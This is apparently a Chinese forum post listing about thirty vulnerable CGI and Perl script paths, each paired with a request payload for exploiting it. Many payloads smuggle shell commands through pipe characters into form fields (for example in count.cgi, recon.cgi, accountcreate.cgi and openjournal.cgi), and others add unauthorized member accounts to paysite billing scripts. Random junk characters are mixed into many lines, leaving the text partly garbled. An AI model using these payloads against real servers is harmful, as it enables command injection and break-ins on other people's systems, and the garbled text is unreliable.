Cgi-bin 30个漏洞＋使用方法

admin

==============================

/smspass.pl
username=username&password=password

/index.cgi
wei=ren&gen=command
7 ~* L; ?& w3 J3 m
0 s( @( V( s5 ~0 |/ T* }; N" M/passmaster.cgi
  @+ @- g; R% P9 e. SAction=Add&Username=Username&Password=Password

8 P9 `; |3 B* F. X6 S" f: `' K/accountcreate.cgi
  u" U! J, [+ J& E( j0 U' Gusername=username&password=password&ref1=|echo;ls|
4 A" c" ~; j8 F5 X1 A% A
* C! w! A& k/ [! X6 h. J7 Y/form.cgi
% j+ c+ h" a4 n, sname=xxxx&email=email&subject=xxxx&response=|echo;ls|

8 e" P) Q) |& ]; P/addusr.pl
' W& d, v+ d% j7 g- I5 L2 ]( h5 K) ^/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

/ccbill-local.asp
2 t' q& U$ p$ v7 W: j6 X7 {9 X/ I; Npost_values=username:password

/count.cgi
pinfile=|echo;ls -la;exit|

/recon.cgi
5 L$ I0 F9 b. B, g; S/recon.cgi?search
: C7 ]. A9 a* I) ksearchoption=1&searchfor=|echo;ls -al;exit|

1 q/ H: w1 Y+ o7 Q. [. ~0 {% t! A; K1 P/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
4 q, m" ]9 B+ q: x" d; N" D! t
$ D! Q/ q) }6 U/ s% p0 b/af.cgi
_browser_out=|echo;ls -la;exit;|
& Q/ K* b1 i2 }# l* H  B" p
/modify.cgi
* @2 r7 L; Z9 o. U* @username=username&password=password&expire=30
$ l' ]0 V: \5 [) L
/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|
2 |% b3 M; @, m: U
/gx9passwd.cgi
cmd=ADD&user=username&pass=password
4 f4 I5 j  t- b" Q* S3 D
' D- j5 s' q$ ~5 [3 M* V/probecontrol.cgi
$ U* c( n8 ^) e' I+ S; kcommand=enable&username=username&password=password

/recon.cgi
4 _) b" X/ r( j+ C7 Ksearchoption=3&searchfor=echo;ls -la;exit
/ `3 ]4 y4 W& Y* o: y
; }% N5 A, L8 {2 V) l8 z: l8 U" O/htadd.pl
& k: U7 G+ ~* z/ o: N! h6 @+ @  Jconfigfile=|echo; ls -alt; exit

1 \, u0 L% y: O5 l/gx9passwd.cgi
2 m. ^0 M9 I# v& ?0 {cmd=ADD&user=username&pass=password
+ ]0 Z* v  i( F5 u* I
( V$ `/ k6 b! `8 d# ~/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
) B9 Q1 ?" N# n0 d0 U7 s0 _; `$ {
/globill_ut.cgi
5 |+ J4 F& z/ Tdo=add&username=username&password=password&wpassword=password

! z. I0 X0 k% \) [- _4 ^( T& y/usercontrol.cgi
/ Y7 L5 R/ k6 v5 l; T3 |% Lcommand=enable&username=USER&password=PASS

/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
) z# |7 n7 s! L$ A! quser=USER&pass=PASS&confirm=PASS
. ~9 }0 i' G6 r$ [5 d, ^
/pincount.cgi
% G+ ^! i7 |) G: ]/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

- L. ]% U/ Y7 a8 j% n& Y' t/accountcreate.cgi
" A! W5 Q, p5 R( K- i/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
/env.cgi
ADD+;echo;pwd;exit
& F3 {3 Z3 ~% q6 X+ N
/count.cgi
pinfile=|echo;pwd;exit|

/recon.cgi
3 Q& n5 ]% b5 m$ i; I7 Isearchoption=1&searchfor=|echo;ls%20-al;exit|

  D5 N- k7 u. y2 @0 e% p1 x. c/add.cgi
  C* d  Y+ F) n; X0 P7 o( jusername=username&password=password&expire=30
5 p: G6 \1 O! Q. K" O5 h" h
( W* Q1 c+ O0 c$ a4 [==============================
! U) {* w5 k* z# [- p, t/ \# v/ x0 Y